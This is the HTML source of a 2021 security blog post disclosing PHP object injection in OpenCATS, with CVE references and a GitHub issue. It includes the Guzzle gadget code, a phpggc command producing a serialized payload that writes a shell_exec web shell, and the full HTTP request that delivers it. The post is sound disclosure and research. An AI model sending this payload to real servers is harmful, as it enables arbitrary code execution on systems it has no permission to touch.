snoopysecurity blog update 2 ✓ History

1 contributor

523 lines (288 sloc) | 18.2 KB

```
<!DOCTYPE html>
<html>

  <head>
  <meta charset="utf-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1">

  <title>OpenCATS PHP Object Injection to Arbitrary File Write</title>
  <meta name="description" content="Introduction">

  <meta name="author" content="Sam Sanoop">
  <meta name="copyright" content="&copy; Sam Sanoop 2022">


  <!-- External libraries -->
  <link rel="stylesheet" href="//maxcdn.bootstrapcdn.com/font-awesome/4.6.3/css/font-awesome.min.css">
  <!--<link rel="stylesheet" href="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.9.0/styles/.min.css"> -->
  <link rel="stylesheet" href="//cdnjs.cloudflare.com/ajax/libs/lightbox2/2.7.1/css/lightbox.css">

  <link rel="stylesheet" href="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.15.8/styles/default.min.css">
  <script src="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.15.8/highlight.min.js"></script>
  <script>hljs.initHighlightingOnLoad();</script>


  <


  <!-- Favicon and other icons (made with http://www.favicon-generator.org/) -->
  <link rel="shortcut icon" href="/assets/icons/favicon.ico" type="image/x-icon">
  <link rel="icon" href="/assets/icons/favicon.ico" type="image/x-icon">
  <link rel="apple-touch-icon" sizes="57x57" href="/assets/icons/apple-icon-57x57.png">
  <link rel="apple-touch-icon" sizes="60x60" href="/assets/icons/apple-icon-60x60.png">
  <link rel="apple-touch-icon" sizes="72x72" href="/assets/icons/apple-icon-72x72.png">
  <link rel="apple-touch-icon" sizes="76x76" href="/assets/icons/apple-icon-76x76.png">
  <link rel="apple-touch-icon" sizes="114x114" href="/assets/icons/apple-icon-114x114.png">
  <link rel="apple-touch-icon" sizes="120x120" href="/assets/icons/apple-icon-120x120.png">
  <link rel="apple-touch-icon" sizes="144x144" href="/assets/icons/apple-icon-144x144.png">
  <link rel="apple-touch-icon" sizes="152x152" href="/assets/icons/apple-icon-152x152.png">
  <link rel="apple-touch-icon" sizes="180x180" href="/assets/icons/apple-icon-180x180.png">
  <link rel="icon" type="image/png" sizes="192x192"  href="/assets/icons/android-icon-192x192.png">
  <link rel="icon" type="image/png" sizes="32x32" href="/assets/icons/favicon-32x32.png">
  <link rel="icon" type="image/png" sizes="96x96" href="/assets/icons/favicon-96x96.png">
  <link rel="icon" type="image/png" sizes="16x16" href="/assets/icons/favicon-16x16.png">
  <link rel="manifest" href="/assets/icons/manifest.json">
  <meta name="msapplication-TileColor" content="#ffffff">
  <meta name="msapplication-TileImage" content="/assets/icons/ms-icon-144x144.png">
  <meta name="theme-color" content="#ffffff">


  <!-- Facebook OGP cards -->
  <meta property="og:description" content="Introduction" />
  <meta property="og:url" content="http://localhost:4000/web-application-security/2021/01/16/09_opencats_php_object_injection.html">
  <meta property="og:site_name" content="💻 | Blog" />
  <meta property="og:title" content="OpenCATS PHP Object Injection to Arbitrary File Write" />
  <meta property="og:type" content="website" />
  <meta property="og:image" content="http://localhost:4000/assets/logo.png" />
  <meta property="og:image:type" content="image/png" />
  <meta property="og:image:width" content="612" />
  <meta property="og:image:height" content="605" />



  <!-- Twitter: card tags -->
  <meta name="twitter:card" content="summary">
  <meta name="twitter:title" content="OpenCATS PHP Object Injection to Arbitrary File Write">
  <meta name="twitter:description" content="Introduction">
  <meta name="twitter:image" content="http://localhost:4000/assets/logo.png">
  <meta name="twitter:url" content="http://localhost:4000/web-application-security/2021/01/16/09_opencats_php_object_injection.html">



  <!-- Site styles -->
  <link rel="stylesheet" href="/css/main.css">
  <link rel="canonical" href="http://localhost:4000/web-application-security/2021/01/16/09_opencats_php_object_injection.html">
        <link rel="alternate" type="application/rss+xml" title="💻 | Blog" href="http://localhost:4000/feed.xml" />

        <!-- Tooltips -->
```

```
        <script type="text/javascript">
                window.tooltips = []
        </script>
</head>


  <body>

    <header class="navigation" role="banner">
  <div class="navigation-wrapper">
    <a href="/" class="logo">

      <img src="/assets/logo.png" alt="💻 | Blog">

    </a>
    <a href="javascript:void(0)" class="navigation-menu-button" id="js-mobile-menu">
      <i class="fa fa-bars"></i>
    </a>
    <nav role="navigation">
      <ul id="js-navigation-menu" class="navigation-menu show">


        <li class="nav-link"><a href="/about/">About</a>









        <li class="nav-link"><a href="/posts/">Posts</a>



        <li class="nav-link"><a href="/wallofsheep/">Wall Of Sheep</a>
```



```
      </ul>
    </nav>
  </div>
</header>


    <div class="page-content">
        <div class="post">

<div class="post-header-container " >
  <div class="scrim ">
    <header class="post-header">
      <h1 class="title">OpenCATS PHP Object Injection to Arbitrary File Write</h1>
      <p class="info">by <strong>snoopysecurity</strong></p>
    </header>
  </div>
</div>

<div class="wrapper">

 <span class="page-divider">
  <span class="one"></span>
  <span class="two"></span>
</span>


<section class="post-meta">
  <div class="post-date">January 16, 2021</div>
  <div class="post-categories">
  in
```

```
    <a href="/category/web-application-security">Web-application-security</a>


  </div>
</section>

<article class="post-content">
  <h3 id="introduction">Introduction</h3>

<p>OpenCATS is an application tracking system that is written in PHP. More about OpenCATS can be seen here: https://www.opencats.org/. OpenCATS is vulnerable to PHP Object injectio

<h3 id="technical-details">Technical Details</h3>

<p>OpenCATS has an activity area to keep track of activities.</p>

<p><img src="/assets/blog/appsec/open1.png" alt="" /></p>

<p>The following request is being sent to the application as part of a normal application workflow.</p>

<p><img src="/assets/blog/appsec/open2.png" alt="" /></p>

<p>The parametersactivity:ActivityDataGrid parameter is sending serialized data as seen below which is being deserialized by the application using the unserialize function.</p>

<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>a:9:{s:10:"rangeStart";i:0;s:10:"maxResults";i:15;s:13:"filterVisible";b:0;s:9:"startDate";s:0:"
</code></pre></div></div>

<p>The unserialize function can be seen in DataGrid.php</p>

<p><img src="/assets/blog/appsec/open3.png" alt="" /></p>

<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://github.com/opencats/OpenCATS/blob/develop/lib/DataGrid.php#L272
</code></pre></div></div>

<p>To exploit with vulnerability, a POP gadget chain can be created using guzzlehttp. A <code class="highlighter-rouge">__destruct</code> magic method available within <code class

<p>The relevant code that needs to be triggered can be seen below:</p>

<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  public function __destruct()
    {
        $this-&gt;save($this-&gt;filename);
    }

    /**
     * Saves the cookies to a file.
     *
     * @param string $filename File to save
     * @throws \RuntimeException if the file cannot be found or created
     */
    public function save($filename)
    {
        $json = [];
        foreach ($this as $cookie) {
            /** @var SetCookie $cookie */
            if (CookieJar::shouldPersist($cookie, $this-&gt;storeSessionCookies)) {
                $json[] = $cookie-&gt;toArray();
            }
        }

        $jsonStr = \GuzzleHttp\json_encode($json);
        if (false === file_put_contents($filename, $jsonStr)) {
            throw new \RuntimeException("Unable to save file {$filename}");
        }
    }
</code></pre></div></div>

<p>In the above example, the <code class="highlighter-rouge">destruct()</code> magic method calls the save() method on the <code class="highlighter-rouge">FileCookieJar</code> cla

<p>Multiple checks are also done to ensure that $cookie-&gt;getExpires() returns true and $cookie-&gt;getDiscard() returns false. After these checks, The <code class="highlighter-

<p>This is an already known gadget found by cf which is available within Guzzle versions <code class="highlighter-rouge">6.0.0 &lt;= 6.3.3+</code></p>

<p><a href="https://github.com/ambionics/phpggc">phpggc</a> can be used to generate a serialized exploit payload for this gadget</p>

<p>A payload such as <code class="highlighter-rouge"><span class="cp">&lt;?php</span> <span class="k">echo</span> <span class="nb">shell_exec</span><span class="p">(</span><span c

<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  master ❯ ./phpggc -u --fast-destruct Guzzle/FW1 /var/www/public/shell.php  /tmp/shel
a%3A2%3A%7Bi%3A7%3BO%3A31%3A%22GuzzleHttp%5CCookie%5CFileCookieJar%22%3A4%3A%7Bs%3A41%3A%22%00GuzzleHttp%5CCookie%5CFileCookieJar%00filename%22%3Bs%3A25%3A%22%2Fvar%2Fwww%2Fpublic%
</code></pre></div></div>

<p>The request with the payload can now be sent.</p>

<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /index.php?m=activity&amp;parametersactivity%3AActivityDataGrid=a%3A2%3A%7Bi%3A7%3BO%3A31%3A
Host: dvws.local
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://dvws.local/index.php?m=activity
Cookie: _pc_tvs=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE2MDkzNjMwNTYsInB0ZyI6eyJjbWY6c2ciOnsiODYwIjoxLCIxMDA3IjoxfSwiX2MiOjE2MDkzNTgwMjEsIl91IjoxNjA5MzU5MzI3fSwiZXhwIjoxNjC
Upgrade-Insecure-Requests: 1
</code></pre></div></div>

<p>The <code class="highlighter-rouge">shell.php</code> can now be leveraged to execute arbitrary code.</p>

<p><img src="/assets/blog/appsec/open4.png" alt="" /></p>
```

```
<p><strong>Note:</strong> Multiple other areas within OpenCATs are also taking deserialized user input which can be leveraged for the same vulnerability. Also, Multiple Cross-site

<p><img src="/assets/blog/appsec/open5.png" alt="" /></p>

<p>I've opened a GitHub issue to report this <a href="https://github.com/opencats/OpenCATS/issues/515">issue</a> and CVE has assigned two CVEs as well: CVE-2021-25294 and CVE-2021

</article>




<section class="rss">
  <p class="rss-subscribe text"><strong>Subscribe <a href="/feed.xml">via RSS</a></strong></p>
</section>

<section class="share">
  <span>Share: </span>



      <a href="//twitter.com/share?text=OpenCATS+PHP+Object+Injection+to+Arbitrary+File+Write&url=http%3A%2F%2Flocalhost%3A4000%2Fweb-application-security%2F2021%2F01%2F16%2F09_ope
        onclick="window.open(this.href, 'twitter-share', 'width=550,height=255');return false;">
        <i class="fa fa-twitter-square fa-lg"></i>
      </a>

















      <a href="//www.linkedin.com/shareArticle?mini=true&url=http%3A%2F%2Flocalhost%3A4000%2Fweb-application-security%2F2021%2F01%2F16%2F09_opencats_php_object_injection.html"
        onclick="window.open(this.href, 'linkedin-share', 'width=550,height=255');return false;">
        <i class="fa fa-linkedin-square fa-lg"></i>
      </a>



</section>

        <section class="post-navigation">
                <span class="prev-post">

                                <a href="/web-application-security/2021/01/08/02_php_object_injection_exploitation-notes.html">
                                        <span class="fa-stack fa-lg">
                                                <i class="fa fa-square fa-stack-2x"></i>
                                                <i class="fa fa-angle-double-left fa-stack-1x fa-inverse"></i>
                                        </span>
                                        <span class="page-number">PHP Object Injection Exploitation Notes</span>
                                </a>

                </span>
                <span class="next-post">

                                <a href="/application-security/2021/04/14/09_adempierie_java_deserialization.html">
                                        <span class="page-number">ADempiere Unsafe Deserialization to Code Execution</span>
                                        <span class="fa-stack fa-lg">
                                                <i class="fa fa-square fa-stack-2x"></i>
                                                <i class="fa fa-angle-double-right fa-stack-1x fa-inverse"></i>
                                        </span>
                                </a>

                </span>
        </section>




</div>
</div>

    </div>

    <footer class="site-footer">

  <div class="wrapper">

    <h3 class="footer-heading">💻 | Blog</h3>

    <div class="site-navigation">
```

```
<p><strong>Site Map</strong></p>
<ul class="pages">

  <li class="nav-link"><a href="/about/">About</a>

  <li class="nav-link"><a href="/posts/">Posts</a>

  <li class="nav-link"><a href="/wallofsheep/">Wall Of Sheep</a>

</ul>
</div>

<div class="site-contact">

  <p><strong>Contact</strong></p>
  <ul class="social-media-list">
    <li>
      <a href="mailto:@snoopysecurity">
        <i class="fa fa-envelope-o"></i>
        <span class="username">@snoopysecurity</span>
      </a>
    </li>

    <li>
      <a href="https://twitter.com/snoopysecurity" title="Follow me on Twitter">
        <i class="fa fa-twitter"></i>
        <span class="username">snoopysecurity</span>
      </a>
    </li>

    <li>
      <a href="https://github.com/snoopysecurity" title="Fork me on GitHub">
        <i class="fa fa-github"></i>
        <span class="username">snoopysecurity</span>
      </a>
    </li>

    <li>
      <a href="https://www.linkedin.com/pub/sam-sanoop/47/769/60a" title="Connect with me on LinkedIn">
        <i class="fa fa-linkedin"></i>
        <span class="username">Sam Sanoop</span>
      </a>
    </li>

  </ul>
</div>

<div class="site-signature">
```

```
      <p class="rss-subscribe text"><strong>Subscribe <a href="/feed.xml">via RSS</a></strong></p>
      <p class="text">Hack adventures while segfaulting through life
</p>
    </div>

  </div>

</footer>

<!-- Scripts -->
<script src="//code.jquery.com/jquery-3.4.1.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.15.10/highlight.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/lightbox2/2.11.1/js/lightbox.min.js"></script>
<script src="//unpkg.com/popper.js@1"></script>
<script src="//unpkg.com/tippy.js@5"></script>

<script type="text/javascript">
$(document).ready(function() {
  // Default syntax highlighting
  hljs.initHighlightingOnLoad();

  // Header
  var menuToggle = $('#js-mobile-menu').unbind();
  $('#js-navigation-menu').removeClass("show");
  menuToggle.on('click', function(e) {
    e.preventDefault();
    $('#js-navigation-menu').slideToggle(function(){
      if($('#js-navigation-menu').is(':hidden')) {
        $('#js-navigation-menu').removeAttr('style');
      }
    });
  });

        // Enable tooltips via Tippy.js
        if (Array.isArray(window.tooltips)) {
                window.tooltips.forEach(function(tooltip) {
                        var selector = tooltip[0];
                        var config = tooltip[1];
                        tippy(selector, config);
                })
        }
});

</script>









  </body>

</html>
```